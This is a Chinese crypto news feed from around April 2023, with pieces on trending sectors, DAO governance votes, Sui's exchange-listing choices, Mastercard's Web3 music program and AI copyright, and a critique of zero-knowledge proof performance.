    来源：bankless 编译：Nick 2023 年是一个多事之秋。银行危机、对CEX的打击以及无休止的监管接踵而来，感觉我们每天都会受到新的坏消息的冲击。 然而，加密市场目前已经摆脱了这些担忧。BTC和ETH在今年前几个月分别上涨 69.1%和 57.8%，跑赢了全球所有其他主要资产类别。此外，加密领域内的多个板块仍然显示出强劲的增长迹象。 从历史来看，持续的加密货币牛市不仅仅是由BTC和ETH坊的上涨推动，也会由某些板块带动，例如2020-2021 年的 DeFi/NFT 爆发热潮。 今年有哪些板块显示出进入主流市场的强烈迹象？让我们来探讨研究下。 流动性质押衍生品（LSD）最近非常流行，因为我们备受期待的“上海”升级已经完成，质押的ETH可以随时提款。数据显示，Lido以太坊质押数量于2022年9月突破400万枚ETH，2023年4月突破600万枚ETH，这意味着过去半年时间里质押量已增长超50%。 短期内，“上海”升级对 ETH 价格的影响尚不清楚。可以明确的是，开通质押提现功能后，“上海”升级很可能会带来一个“质押超级周期”，这是指在未来几年，ETH 质押率将从目前的 15% 上升到靠近 PoS 网络平均水平约 60% 的数值。 对“质押超级周期”的预期已导致 LSD 发行商的治理Token「如 Lido（LDO）、Rocket Pool（RPL）、StakeWise（SWISE）、Frax（FXS）和 Stader（SD）等」大幅上涨。 LSD Token年初至今的表现——来源：TradingView 此外，提供质押基础设施的资产也从 LSD 的增长中受益，例如分布式验证技术（DVT）协议SSV Network，以及一个元治理协议 Redacted Cartel（BTRFLY），传闻它也将进军 LSD 领域。 以太坊升级之后，随着ETH存款数量的增加，LSD收入将会上涨。 NFT-Fi（NFT 的 DeFi）是另一个在 2023 年显著增长的领域，已经开始撼动该领域的竞争格局。 随着 Blur 的崛起，NFT 市场格局在 2023 年发生了巨大变化。Blur 凭借创新的激励计划和Token推出，超过 OpenSea 成为该领域的领头羊。尽管空投结束后一些人对其可持续性存在质疑，但 Blur 已经为 NFT 生态系统注入了相当大的流动性，像 BAYC 这样的热门收藏品总竞拍价值已超过 6190 万美元。 其他市场，例如 SudoSwap 和 Caviar 等 AMM，也提供了创新解决方案来加深资产类别的流动性，尽管它们尚未在市场上有显著的影响。 借贷是 NFT-Fi 的另一个子行业，已经产生了显著的增长。 每周 NFT 贷款发放——来源：Dune Analytics 2023 年第一季度的贷款发放额从 9540 万美元激增至 4.365 亿美元（环比增长 357.5%），这在很大程度上是由于 NFTfi、Arcade 和 BendDAO 等平台的增长推动，它们为 NFT 交易者提供了获得流动性或借高杠杆的方式。 尽管 NFT 价格今年初仅小幅上涨，Nansen 的蓝筹 10 指数仅上涨了 8.5%，但这种 NFT-Fi 推动的流动性和杠杆增加应该会在长期内带来回报，因为这将导致资产类别市场结构成熟。随着用户对 JPEG 和游戏等替代用例的兴趣增加，NFT-Fi 应该会继续增长。 永续 DEX被许多人视为 FTX 崩溃后的大赢家，很多人预计加密领域最受欢迎的衍生品类型的交易活动能够转移到链上。 尽管中心化交易所仍占据主导地位，但永续合约 DEX 在市场反弹时已经实现了显著增长。根据 Token Terminal 的数据，与 2022 年第四季度相比，永续合约 DEX 的交易量在 2023 年第一季度同比增长了 77.3%，从 9260 亿美元增至 1.643 万亿美元。 这种增长导致了许多优秀的永续合约协议治理Token的表现优于 ETH，例如 dYdX（DYDX）、GMX（GMX）、Gains Network（GNS）和 Kwenta（KWENTA）等。 Perps DEX Token年初至今的表现——来源：TradingView 如果价格继续稳定下来，随着流动性重新回到市场，这些 DEX 或将在未来几个月继续增长。 游戏是加密领域中最有可能吸引新用户和资本的用例之一。 该行业在 2023 年迄今为止表现出了强大的潜力，类似 MAGIC、IMX、RON 和 GALA 等游戏Token今年迄今表现优异，超过了 ETH。 游戏Token年初至今的表现 - TradingView 游戏行业内有许多积极的催化剂，可能促成了游戏Token的出色表现，例如Arbitrum Token发行、Immutable 宣布 zkEVM、RON 质押的启动等。 其他事件，如游戏开发者大会（GDC）和 Epic Games 宣布支持 20 款具有加密元素的游戏，也可能为该行业的增长做出了贡献。 随着备受期待的游戏推出，如卡牌游戏 Parallel、自动战斗角色扮演游戏 RPG Illuvium、第一人称射击游戏 Deaddrop 和 Shrapnel 以及全链上 MMO Realm 和 Influence 将继续在 2023 年推出其发行版，并且未来的比赛和用户体验改进（如账户抽象）都有望在未来几个月内帮助游戏行业继续缓慢而稳步地发展。 On-Chain Treasuries 是另一个正在崛起的 DeFi 领域，与此前的 DeFi 夏季类似，都是在零利率环境下开始的。当时，以双倍、三倍、四倍或甚至五倍计价的回报率成为了资本饥渴世界中的一片绿洲。虽然这些回报率是一种幻象，并最终被证明是不可持续的，但它们还是吸引了大量资本涌入 DeFi 领域。 如今，DeFi 面临着相反的问题，美国国债的利率已经超过了DeFi协议的收益。此外，像 USDT、USDC 和 DAI 这样的大型稳定币不向持有者支付任何利息，增加了链上持有现金的机会成本。 目前出现了几种解决方案来解决这个问题，例如 Ondo Finance（以及最近的 Open Eden）等协议提供了从 DeFi 内部访问代币化的美国国债的方法。此前，DeFi协议Ondo Finance宣布推出Token化基金，允许稳定币持有者投资债券和美国国债，这意味着现实世界资产正加速与DeFi融合，在加密利率下行期，用户资产可以得到更高收益配置。 Ondo Finance TVL——来源：DeFi Llama 尽管访问这些产品需要跨过 KYC/AML 的障碍，并且仅限于高净值投资者，但它们仍然找到了产品适用的场景。Ondo 的 OUSG 已经吸引了 6520 万美元的 TVL。 加密领域里有许多板块值得密切关注。流动性质押、加密游戏、NFT-Fi、永续 DEX 和链上国债等只是其中一部分有潜力的板块。 今年才刚刚开始，市场的走势还不确定。现在正是关注这些板块的好时期，加密世界即将再次变得有趣起来。 *注：本文仅为观点分享，不构成任何投资建议。  ( 3 min )
    Ordinals Wallet应Yuga Labs要求将下架Bit Apes和Bitcoin Apes系列
    PANews 4月21日消息，据官方推特，比特币网络NFT市场Ordinals Wallet宣布，该平台将遵守Yuga Labs对其的要求，从市场中下架Bit Apes和Bitcoin Apes系列。 Ordinals Wallet解释称，该平台试图通过删除所有商标引用来减轻影响。并为该项工作花费数小时时间，但经过进一步交涉，平台仍然必须尊重Yuga Labs的知识产权。  ( 2 min )
    ApeCoin社区正对促进社区治理的两项提案进行投票，目前支持率均超97%
    PANews 4月21日消息，ApeCoin社区正对促进社区治理的两项提案进行投票，即“制定工作组指南和治理工作组章程”的AIP-239提案和“创建社区话语促进团队”的AIP-240提案，目前支持率均在97%以上，投票均将于4月27日截止。 AIP-239提案旨在自治工作组来运营ApeCoin DAO，工作组是有意识的社区主导的基础设施，允许执行DAO批准的任务。工作组章程概述了工作组的任务，该任务必须与ApeCoin DAO的愿景和价值观保持一致。预计工作组将建立自己的独立实体，彼此分开，并与APE基金会分开。根据AIP-240提案，社区话语促进团队将负责监督提案流程、主持讨论、执行规则，并根据DAO批准的指南促进积极的社区参与。 此外，ApeCoin社区也正对关于“赞助THE DAM SHOW和现场游戏节目”的AIP-214提案和“为社区创建NFT奇幻小说”的AIP-236提案进行投票，目前的反对率均超99%，这两项提案投票亦均将于4月27日截止。  ( 1 min )
    SUI公募核心问题：为什么没上币安Launchpad？
    近日，Sui 将于5月3日正式启动主网，并与OKX、Bybit、Kucoin 交易所宣布上线Sui Token的消息引起市场巨大的关注热度。 同时社区也有很多声音在问，Why not Binance？When Binance ? 作为去年完成超过3亿美元融资的明星公链，与Aptos一样，Sui 同样获得了来自Binance Labs 的投资，但为什么Aptos 获得了币安巨大的首发支持，而SUI 却没选择币安Launchpad首发？ 这个问题其实可以包含和延伸好几个问题，比如： 1、为什么SUI 不是如社区传言的选择Coinlist、CoinBase做公募？ 2、什么可能让 SUI 和币安没谈拢Launchpad？ 3、币安什么时候会上SUI ？ 4、选择 CEX 公募/IEO 而不是链上空投，对于SUI 生态来说意味着什么？ 利益相关：本文作者为 SuiWorld DAO core member，作者持有SUI 社区访问的白名单。本文仅代表作者与部分业内人士沟通的观点，并做交流整理尝试解答上述问题。 市场有风险，在任何情况下，本文中的信息或所表述的意见均不构成对任何人的投资建议。欢迎大家一起交流学习，请备注姓名。 关键词：合规，去中心化。 其实这两个答案可以解释今天的很多问题。Sui 最终没有选择Coinlist 或 Coinbase 进行公募，正是因为希望做到足够的合规，同时又去中心化。 早在今年年初，Sui的创始团队在与社区交流时就透露过，有考虑选择 Coinbase 做公募。上线Coinbase无疑最好的合规路径，但Coinbase 从2019年就说要推出的IEO/公募功能至今都不见迹象。此外，Coinbase上月还遭美国 SEC 的Wells Notice，被告知因违反了投资者保护法，SEC将对其采取执法行动，Coinbase 甚至将考虑将总部迁离美国。因此现阶段项目在Coinbase 做 IEO 还是有合规挑战。 另一个则是此前CoinList 发布带有“5.02.2023”预告动画，加密社区用户推测，CoinList或将于5月2日进行Sui公募。但正如Sui所说，终没有选择CoinList 的原因，或许就是希望通过社区访问计划将加速去中心化并使参与者多样化，尽可能扩大地理覆盖范围，允许世界所有地区的广泛参与。 总结来说，SUI 同时出于合规与去中心化的考虑，最终选择了OKX、Bybit、Kucoin （注：OKX、Bybit、Kucoin 也都是MoveAccelerator 的成员）而不是Coinlist、Coinbase 。 关键词：排他协议、Launchpad产品规则、不得上线永续合约做空 自2019年币安首次推出Launchpad（IEO）推出以来，已有29个项目通过Launchpad 进行上线。其他各大平台推出的IEO 的规则也基本一致。 而在这次SUI 与 OKX、Bybit、Kucoin 的IEO中，和以往不同的是，首次确认中签数量后，当天用户只能解锁 1/13 新币，剩余每月同一时间解锁 1/13，一年内全部解锁完成。同时平台还要配合SUI开启额外的白名单销售。 回顾币安以往的29个Launchpad 项目里，都没有分批解锁的规则，也没有专门为项目方推出过额外的白名单销售产品。因此，Launchpad产品规则限制或是币安无法选择 SUI 做 Launchpad 原因之一。 相比于产品规则，另一个更重要的原因或是币安的排他协议。无论是首发代币还是投资项目，币安都会有一些针对其它交易平台的排他协议，这也是业内常见的游戏规则。 以Aptos （APT）为例，币安参与了Aptos的两轮投资，并与Aptos有不与部分平台合作的排他协议。币安可能也会以同样的要求要求SUI。因此，币安无法同意 SUI同时在多个平台IEO，SUI也不接受币安的排他协议，可能是 SUI 和币安没谈拢Launchpad的原因之一。 值得注意的是，即使项目方在币安首发并签署了排他协议，仍然是把双刃剑。比如Aptos（APT）曾要求各大交易所不准在两周之内上线永续合约，但币安上线APT的当天，就上线了 APTUSDT 1-25 倍永续合约，而主流合约交易所OKX、Bybit等起初并未宣布上线永续合约，直到币安上线了永续合约后才跟随上线。 Sui 可能也要求了各大交易所在一定期限内不准上线永续合约做空，但币安不理会，于是选择了其他交易所首发，并有可能达成相关限制上线做空衍生品的协议。 关键词：问CZ。 这个真不敢乱说，得去问CZ。不过有币安相关业务人士表示，SUI 应该是非常有自信最终能上线币安，那么SUI 先在其它所IEO，后面再上币安也是一样的。 因此有一种可能是，币安在主网上线的前几天也宣布上线 SUI 。如果这时候币安上线 SUI有可能也会同步推出永续合约。 另一种可能就是，根据币安的风格，会等到 SUI 网络稳定下来，同时满足币安的上线标准再上。所谓足币安的上线标准有个核心就是使用者数量（用户）。 如果SUI的热度能够一直保持主网上线前测试网的热度，那么用户数量肯定没问题。如果SUI 和Aptos 一样，测试网时几百个活跃项目和 6000+TPS ，主网上线后生态项目迅速冷寂 TPS 长期保持个位数，那么币安可能会延后上线。 如果SUI 一直没有满足币安的上线标准，那么有可能就会等到币安投资SUI 的筹码开始解锁后，择时上线，具体可以关注相关解锁时间表。 关键词：链上缺少初始筹码 Sui 在不同场合多次明确表示不会有SUI空投计划。所谓空投，是指通过区块链技术大规模将代币发放给现有或潜在用户（初始筹码分配），以提升项目认知度（营销）。 不得不说，Sui 推出的十万人规模的社区访问计划（公募）和数十万潜在用户的IEO参与，确实起到了非常大的营销效果。也狠狠打击了链上羊毛党，较大程度奖励了真实用户，是一种创新尝试。 但是从初始筹码分发的角度来说，意味着Sui 的初始筹码分发的价值，大部分被 CEX 用户捕获了，比如平台币的持有者捕获了部分Sui Token初始分配的价值。 Sui的初始筹码分发全部都在CEX 中心化交易所内，而不是在链上，这意味着主网启动时，无一普通用户链上地址持有Sui Token。这对部分生态项目而言，或并不是好消息，因为用户缺少链上初始筹码。 因为用户需要先在CEX 中心化交易所内购买Sui Token，然后提到链上才能参与生态项目。即使是针对生态贡献者的白名单销售用户，也要先成为CEX用户，再认购Sui Token然后提到链上参与生态项目。这个提币的过程会流失相当数量的用户。 相比之下，如果L1进行链上空投后，即使80%以上的用户收到空投就立马充值到交易所出售，在链上仍有20%地址会持有空投资产，这些链上资产将被用户用来作为gas 费、交互各类应用、交易NFT和FT资产等，这些对早期生态项目的冷启动非常重要。 值得一提的是，针对早期生态项目缺少链上初始筹码，MystenLabs 、SuiFoundation有组织部分机构有帮助投资过的部分基础设施项目提供流动性/TVL的计划。最终Sui生态项目如何发展，还需要进一步观察。  ( 3 min )
    万事达音乐人加速计划：AI+Web3结合，如何推动音乐行业发展？
    原文：《Web3 + AI 赋能个人品牌：万事达音乐计划以及AI 时代的版权挑战》 作者：starzq Mastercard Artist Accelerator 是一个音乐人加速器项目，提供独家内容、AI 音乐工具和多种 Web3 机会，通过发掘新兴人才推动音乐行业的发展。 通过 Mastercard Music Pass NFT，音乐人可以 【社区 + 内容 + 工具】组成了一个典型的基于 Web3 + AI 的个人品牌孵化器   整个孵化计划分为 4 个部分，还是比较完整的   Mastercard Music Pass 卡的 mint 门槛相当低，用户只需要填写邮箱就可以 Claim，不需要连接小狐狸钱包，也不需要 gas 费 官方称该项目是与 Polygon 共同创建，为每个用户创建了一个托管钱包。简单理解就是目前钱包类似 web2 的体验，好处是门槛低，短期没有炒作风险，但是否能转移和交易需要官方来决定，另外官方称未来允许将资产转移到非托管钱包。 这种【先让用户低门槛进入 + 必要时转到链上】的方式我们之前也介绍过，目前看来是最适合 onboarding web2 用户的方案。网站上也准备了《Web3 音乐入门》，由此来看，Mastercard 音乐计划的主力用户的确定位在 web2 里对音乐感兴趣的用户, 希望有一个大基数的社区基础。 不过小小的吐槽一下，对于【钱包】和【客服】问题，万事达卡也没有做好充分的准备，官推下不少人问如何把 Pass 转移到 MetaMask，官方建议 DM 提供更多信息。我也去 DM 了一下，结果收到了先测试网速的自动回复? 不确定现在有多少用户 claim 了这张 Pass, 以及如何进入官方社区，看到月底会不会有公告。 btw, 看到一个观点「过去一年多 Web2 到 Web3 的用户迁移，是个伪命题」。我认真看了曾鸣、冯波、蔡文胜三位大佬讨论的原文，个人理解，曾鸣在提出这个观点的时候，更多是在强调「创造出足够大的用户价值」，而不是说不需要降低用户进入 Web3 的门槛。同场的蔡文胜也做了对应的补充： 移动互联网的爆发与两个东西有关系。2009 年 iPhone 的横空出世，包括安卓在 2010 年出现以后，整个操作系统带来巨大的革命。以中国为例，真正在中国普及也是 2011 年、2012 年华为、小米的出现，把手机的卖价成功降到 2000 块以下。 谷歌刚出来第一代第一台都七八千块，你是很难接受的。我们在谈的 Crypto，现在以太坊费用已经降到 1、2 美金，但还是相当于十几块人民币，能不能再降一个台阶？熟度再到一个台阶。 10 年前也有大量讨论「为什么要这么贵的手机，续航还不如诺基亚」。智能手机从 8000 块降到 1000 块带来的门槛巨大下降，以及大量有价值的 App, 把数十亿用户迁移到移动互联网，【降门槛】和【提供价值】是相辅相成的关系。很难想象，如果智能手机还是 8000 块，Web2 会是一个什么样的世界。 Web2 App 的核心壁垒是网络效应，所以获取大量用户，本身就是在增加价值；对于主打价值储存和交换的 Web3 DApp（典型如以太坊），同样具备网络效应，期待看到获取更多用户后，可以孵化出更多有价值的 Dapp. 万事达卡搭建的孵化器社区是一个典型的金字塔结构，可以作为参考，一共三层 最顶层是导师，代表这个行业的最尖端水平。这 5 位导师各有特色，在音乐领域和 Web3 都相当有建树，特别是 Tushar / Latashá / Ian, 既懂音乐又懂 web3，简直是万事达卡 Web3 音乐计划导师的不二人选 中间是新兴音乐人，一方面向导师学习音乐和 web3，另一方面也是其他音乐人和爱好者的参考榜样 最后是其他音乐人和爱好者，他们是社区的主力成员，用自己的行动来支持音乐人的发展，同时往上晋级 在这样的金字塔结构里，每一层用户都有自己的目标，共同组成一个有活力的社区 关于如何建立 token-gated 社区，Ruby 刚写了一条推，欢迎延伸阅读。 目前官网上放出来了 4 篇内容，除了上面提到的《Web3 音乐入门》外，其他 3 篇都需要持有 Pass 才能访问，包括 说实话，这 3 篇内容都非常浅，而同样主题下写的更好的内容非常多。这里引发一个探讨：什么样的内容适合做 token gated？ 我自己的答案，3 类内容适合做 token gated 这 3 类内容本质上都是通过「稀缺性」来吸引用户付费，同时 token gated 又进一步保障了稀缺性。 「非稀缺」内容用来做获客，「稀缺」内容用来做 token gated 的社区权益，这样的划分就会比较清晰。 AI 作曲工具说实话已经不少了，万事达卡肯定也不会自己做，基于目前收集的信息，应该是和 WarpSound 合作，帮助音乐人提升效率。 这个部分，我们来探讨一个有趣的话题：AI 时代，如何对作品确权？ 用 Web3 完美解决音乐版权问题的时代还在远方，用 AI 大批量生成音乐的时代已经来临了。 AI 生成的作品，版权如何做归属呢，这是每一个音乐人 / 创作者都关心的问题。Water&Music 有一篇关于音乐版权归属的文章很精彩（感谢 Henry 推荐和分享），我们做了一些编译，刚好对这个部分做个探讨。 原文链接：https://www.waterandmusic.com/the-music-ai-attribution-problem/ 在今天 TikTok 驱动的音乐传播市场中，音乐人越来越多地采用「放手」他们的作品作为一种生存策略。病毒式的未经授权的混音和片段可能会意外地改变音乐人的职业生涯。 目前这种传播模式的核心是，通过不受限制的分发（例如盗版混音、TikTok 视频）扩大音乐作品的传播面，最终使得音乐人的品牌受益。 这个模式通过在大众观众中增加曝光，不仅推动了音乐消费，还有门票销售、商品、赞助和其他收入；使得音乐产业价值归属到音乐人本人品牌而非音乐资产本身。 这是一个双赢局面：未经授权的翻唱（衍生作品）作品的创作者建立了他们的受众粉丝，而原创作品的创作者则获得了后续的兴趣以及对衍生作品进行商业化的能力（如果他们愿意的话）。 但即使如此，这个系统仍然依赖于一个关键因素，如果没有它整个结构就会崩溃：创意归属，或者说识别原始作品的作者的能力。 对于现有的音乐采样或改编等情况，归属是直接明确的，并且有着既定的信用和清算系统。然而，当模仿或「从现有作品中汲取灵感」时，分析变得更加模糊，可能涉及诉讼和相互矛盾的专家意见。音乐和技术产业最近推出的一些举措，例如 Spotify 的 Songwriter 页面和 TikTok 的 Crediting Creators 工具，旨在在更加自由形式的媒体世界中增强归属可见性。 但现在进入生成式音乐模型领域后，「我们所知道的音乐产业归属方式可能被颠覆」。将现有采样结构映射到生成 AI 工具上是非常诱人的想法，但可能证明是一个难以应用的框架。 AI 创意在音乐领域的归属问题非常困难。与采样不同，很难确定训练数据对生成 AI 模型的输出有多大影响，或者原创作者在商业化模型中应得到多少补偿。 当前的创意 AI 架构在一个关键点上存在很大的争议：一个单独作品是否可以直接影响输出，特别是对于需要高质量结果的大规模模型。随着模型参数随着更多艺术家贡献数据的增加而增加，最终的表示变得更加复杂。 例如，一个大规模的音乐 AI 模型可以使用来自训练数据中数千个类似音乐家的重叠数据来生成特定的 EDM 艺术家风格的作品，而没有明确的确定哪些包含在内，同样重要的是哪些不包含在内。 音乐 AI 从业者 Mat Dryhurst 通过将他自己的 Holly+ 模型（基于 Holly Herndon 的声音）与 Stable Diffusion 或 Midjourney 等大模型进行比较，说明了这个问题: 「Holly+ 是全部都是 Holly 的声音，只有十个制作人的模型的收入可以分成十个部分 - 容易。有十亿参数的模型？别想了。」 到目前为止，大多数值得关注的音乐 AI 模型都是建立在大量的训练数据上的。例如，Google 的 MusicLM 部分是基于 MuLan 构建的，该数据集包括 4400 万个记录，总共 370,000 小时（约 42 年）的音频，以及包括 343 天的创意共享许可音频的 Free Music Archive 数据集。因此，Google 的研究人员可能在音乐中面临与文本和视觉艺术同行相似的归属挑战。 （更加严重的是，OpenAI 等有影响力的 AI 公司由于市场竞争压力，让他们的生成模型训练数据更加不透明。） 许多音乐 AI 创始人和开发者通过小规模的方式开始（暂时）解决归属问题。 与其他创意领域相比，音乐 AI 项目的开发者更加重视训练数据的来源，以避免由于版权问题而无法推出商业产品。 我们发现开发者倾向于直接委托艺术家和制片人提供训练数据，主要以回购方式结构化交易（例如，Mubert Studio 支付艺术家每个样本 0.50 美元，以供其 Render 工具使用）。这种方法与大规模图像和文本生成器采取的方法不同，后者目前面临从互联网上抓取受版权保护内容的潜在法律风险。 原文里面介绍了几个工具，Spawning, Never Before Heard Sounds, Infinite Album, 这里不一一展开。 总结下来，暂时的解决方式是 先明确每一首作品的归属 AI 做（小规模）训练的时候，需要作品授权，同时支付训练数据费用 但因为很多内容都公开在网上，随着 ChatGPT 和 Midjourney 这类大规模 AI 模型纳入更多用户生成内容并允许任何人贡献培训数据，识别作品权利归属的困难只会增加。 增强创意 AI 的归属功能和标准将为音乐产业相关方带来许多好处。除了为艺术家提供更清晰的「AI 足迹」之外，归属机制还可以使音乐 AI 初创企业探索更灵活的培训数据提供者的补偿模型。时间会告诉我们，能否提供不同的补偿结构将吸引比竞争对手更好的专有数据，并证明是初创企业的市场优势。 未来，许多这些初创企业可能想要运营的规模的替代方案会有 2 类 根本没有归属。如果没有归属，就没有办法根据使用情况提供版税或支付 - 在这种情况下，我们将不得不从头开始编写新的、针对 AI 的许可框架 所有音乐通过上链来实现归属，链上协议明确是否可以被用来做 AI 训练，以及对应的费用。但这个方案的挑战是，当 AI 模型有亿级的训练数据和参数时，识别是否使用是一件相当困难的事情。在 AI 时代，用区块链做内容确权仍然很难。 不论哪一种方案出现，音乐行业准备好迎接这样的改变了吗？ Web3 和 AI 的双重赋能，带来更多个体品牌，这是一个不可逆的趋势。虽然还有很多问题待解决，但路一定是越走越清晰，前方风景一定是越来越美丽，我们山顶相见。  ( 5 min )
    Gemini任命亚太地区新CEO，并将在印度开设首家办事处
    PANews 4月21日消息，据The Block报道，加密交易所Gemini任命全球首席技术官Pravjit Tiwana担任亚太地区的新首席执行官，并将在印度开设第一家办事处，作为其在该地区“大计划”的一部分。Tiwana将领导Gemini在该地区的新产品发布，并确保财务稳定。 此前据The Information于3月底的报道，Gemini正寻求推出国际加密衍生品交易所，据称新的衍生品平台将从亚太地区推出。  ( 1 min )
    Uniswap即将部署问责委员会，负责监督V3在其他链上部署的运营开发
    PANews 4月21日消息，Tally投票页面显示，关于Uniswap部署问责委员会的提案已于昨日以99.98%的支持率获投票通过，并已进入待执行列表。 根据该提案，部署问责委员会将负责监督Uniswap V3在其他链上部署的运营开发，委员会的最初职责是与寻求部署Uniswap的项目联络；确保正确配置部署项目；并就是否批准某些部署向社区提供建议。初始委员会将有5名成员，分别为StableLab首席运营官Doo Wan Nam、Pennblockchain治理负责人Jun Sun、She256治理成员Kendra Leong、Tally联合创始人Raf Solari、Stanford Blockchain Club负责人Kydo，委员每6个月换届一次，连续任职不得超过2轮。  ( 1 min )
    1inch社区已通过“修改DAO治理流程以削弱内部人士投票权”的提案
    PANews 4月21日消息，Snapshot投票页面显示，1inch社区已于本月中旬以96.23%的投票支持率通过“修改DAO治理流程”的1IP-26提案，该提案旨在减少核心贡献者、投资者和其他内部人士积累的投票权。 该提案主要内容为：从1inch Snapshot空间中删除st1INCH(v1) 投票和委托策略；更改st1INCH(v2) 投票和委托策略以使用Unicorn Power而不是代币余额；将现有的20%加权v1INCH策略替换为模拟UnicornPower权力衰减的策略，即完全归属且未认领的v1INCH将大大削弱投票权，在其归属合约开始时的v1INCH与在2年锁定期开始时的st1INCH具有完全1:1的投票平等权利；将Snapshot提案创建要求提高到需要10万投票权重（之前为2.5万）。  ( 1 min )
    从技术原理出发，批判“加密显学”零知识证明
    原文：《Criticism on ZK》by msfew *注：首先，这是一个用一个小时写的草稿。 主要是为了快速收集信息，所以可能存在非常多的潜在错误和不完整的信息。 对 ZK 的主要批评包括两个： 一是证明时间长 (因此有各种 benchmark、各种新的 ZK 协议和各种硬件优化）； 一是系统和应用程序安全性仍然需要测试。 零知识证明是区块链领域非常流行的技术。 由于链上计算资源稀缺且昂贵，零知识证明允许这些计算在链下进行，虽然链下证明生成的总时间消耗非常高，但它仍然压缩了最终证明和相关的计算验证，从而允许计算“在链上”。 ZK 证明生成时间过长的问题往往被研究者和开发者所忽视，因为这本质上是 ZK 需要做出的权衡。 虽然他们没有直接批评 ZK 的这个缺点，但是他们有很多从对面解决这个缺点的方法和讨论。 也就是说，他们通过提出各种解决方案并进行大量基准测试来隐含地谈论 ZK 的极长证明时间。 在衡量 ZK 应用之前，我们首先要测试 ZK 协议底层 commitment 的性能。 因为比如，FRI 导致 STARK，KZG 导致常规 SNARK，IPA 导致 Bulletproof 。 底层承诺的性能测试对于 ZK 应用的性能并不直观，但对于理解 ZK 证明时间长的问题很有帮助。 从上面的链接我们可以看出，这些底层承诺协议不仅计算复杂 (可能导致证明时间长)，而且还存在内存消耗非常大的问题。 当然，内存消耗其实更多的是跟硬件配置要求有关，这跟我们今天要讨论的话题是不一样的。 对于具体的 SNARK 性能测试，a16z crypto 将它们分为前端和后端： 前端通常是 ZK 应用开发者接触到的 Cairo 语言/ zkVM 高级语言等； 而后端是更接近 SNARK 证明生成时间的承诺等底层密码学操作。 其中，作者提到 SNARK 证明生成具有大约 100 倍的计算开销，并且每个 ZK 协议都有额外的开销，例如： “In Groth16, P must work over a pairing-friendly group, whose operations are typically at least 2x slower than groups In Groth16, P must work over a pairing-friendly group, whose operations are typically at least 2x slower than groups that aren't pairing friendly. , this results in at least an additional factor-6 slow down relative to the 100-|C| estimate above.” 总体而言，可以说 zk-SNARK 的额外性能开销在 200 - 1000 倍的范围内。 此外，文章还提到了 zk-SNARK 的其他限制，例如可信设置和内存使用。 Modulus Labs 的文章测量了一些 ZK 协议的实际性能。有些基准是针对参数数量的，这对我们来说不是很直观。然而，在应用中，文章提到在 Worldcoin 用例中，即使使用 “最快” 的 Plonky2，仍然需要几分钟的证明生成时间和数十 GB 的内存消耗，无法在个人电脑上运行。 为了减少证明生成时间，我们可以并行证明多个证明。 通常，有两种方法可以做到这一点：一种是批处理，另一种是递归。 简单来说，批处理是同时证明一批证明，最后将它们聚合在一起，而递归是在一个证明中验证其他证明。 一般而言，递归方法具有更小证明大小 的额外优势。 一些更常见的聚合方法包括 Halo2、Plonky2。他们每个人都以不同的方式执行批处理和递归，从而减少了证明时间。 除了ZK的协议层，ZK的应用层也可以有针对性的优化。例如，可以同时使用多个 ZK 协议 (STARK + SNARK ），或者针对宏观采取递归策略进行特定于应用程序的调优。 一般来说，这实际上减少了协议和证明分配方面的证明生成时间。 在探索新的 ZK 协议时，减少证明时间是最重要的考虑因素。 此外，从硬件角度进一步减少 ZK 应用在物理和节点层面的证明时间也做了很多努力。 首先，与前面提到的新协议一样，ZK 协议被设计为尽可能对硬件友好，例如 HyperPlonk。 Paradigm 提到，ZK 的证明生成速度慢主要是由于涉及大量的 MSM 和 FFT，它们对硬件不友好，导致由于随机内存访问等问题导致最终证明生成速度慢。 对于这些底层加密计算，ZK 协议需要在它们的组成和规模上进行一些权衡，以使其对硬件更加友好。 几家 ZK 硬件加速厂商表示，GPU 实际上是目前最经济和可配置的硬件选择，我们最终将有 FPGA 过渡到 ASIC 阶段。 根据 zk 硬件公司的说法，他们的第一版 ASIC 可以直接减少至少 30% 的 ZK 证明生成时间。 此外，由于不同的服务器配置，将不同的云服务器作为节点运行可能涉及不同的硬件特定优化。 ZK 现在的另一个批评是电路代码仍然需要正确 (没有 bug)。 如果 ZK 协议从健全性、完整性、零知识的角度受到攻击，我们将不再拥有有效的 ZK 系统。 我们可以在这个链接中看到各种角度的攻击示例。 虽然 ZK 应用可以被称为 trustless，但我们仍然需要确保项目的 ZK 协议和应用的代码和架构是正确的。 区块链领域中存在多种 ZK 错误。例如，由于 zkEVM 的 ZK 电路代码库庞大的问题，Vitalik 谈到了 ZK 应用程序的多证明者的需求。 因此，ZK 系统可能需要与形式验证等安全工具或 Ecne 等其他安全相关工具搭配使用。应用程序级别，它需要更多的审计，特别是对于像 zkEVM 这样的大项目。  ( 4 min )
    美国参众两院开始围绕数字资产共同制定新监管框架
    PANews 4月21日消息，据The Block报道，美国众议院和参议院已开始共同制定一项法案，以围绕数字资产制定新的市场结构规则。该项法案与另一项旨在推进稳定币两党框架的监管举措同步进行。 共和党主导的加密市场监管细节仍在谈判中。目标是在今年春季或夏初引入，它和一项稳定币法案将在国会两院达成两党共识，并得到总统乔·拜登的最终批准，以为数字资产提供更多具体规则。 此前4月16日消息，美国众议院委员会发布稳定币法案草案。  ( 1 min )
    隐私网络Iron Fish主网已上线
    PANews 4月21日消息，据官方推特，隐私网络Iron Fish主网已于今日凌晨00:00左右上线。Iron Fish区块链实现了零知识证明，允许用户在不影响可访问性的情况下进行私密交易。 上月底，IronFish公布其代币经济学：创世块将释放4200万枚代币。此外，符合条件的Iron Fish测试网用户将于4月21日获得空投。  ( 1 min )
    分析Trader Joe的后起之势：除了转战Arbitrum，其协议本身具有哪些创新？
    原文：《Alpha Track | Trader Joe 如何通过 AMM 创新实现​快速增长？》 作者：Cabin Crew 注：本文主要介绍 Defi 协议Trader Joe，不作任何投资建议 以太坊上海升级完成后，市场热点开始转向坎昆升级，EIP-4844 提案预计将于今年年中落地，主要是针对 Rollup 方案的 gas 消耗进行优化。通过引入带 Blog 的交易用于放置 L2 的压缩数据，存放在共识节点中，而不会像原先的 Calldata 那样直接上主链，届时预计 Rollup 的 gas 消耗将降低 100 倍，将极大的促进 L2 的交易繁荣。 从目前的链上数据来看，Arbitrum 无疑是最受欢迎的 L2。自进入 2023 年以来，Arbitrum 的 TVL 从$1b 增长到了 $2.3b，TPS 一直处于稳步增长，近期 Arbitrum 的 TPS 约为 Ethertum 的 2 倍，Optimism 的 5 倍，zkSync Era 的 8 倍，钱包地址数超 500万个，活跃地址数超 400万个，合约创建总数超 200万个，Arbitrum 在各方面的数据都已经取得了领先地位。 (资料来源：L2Beat) 随着上个月 ARB 的上线，Trader 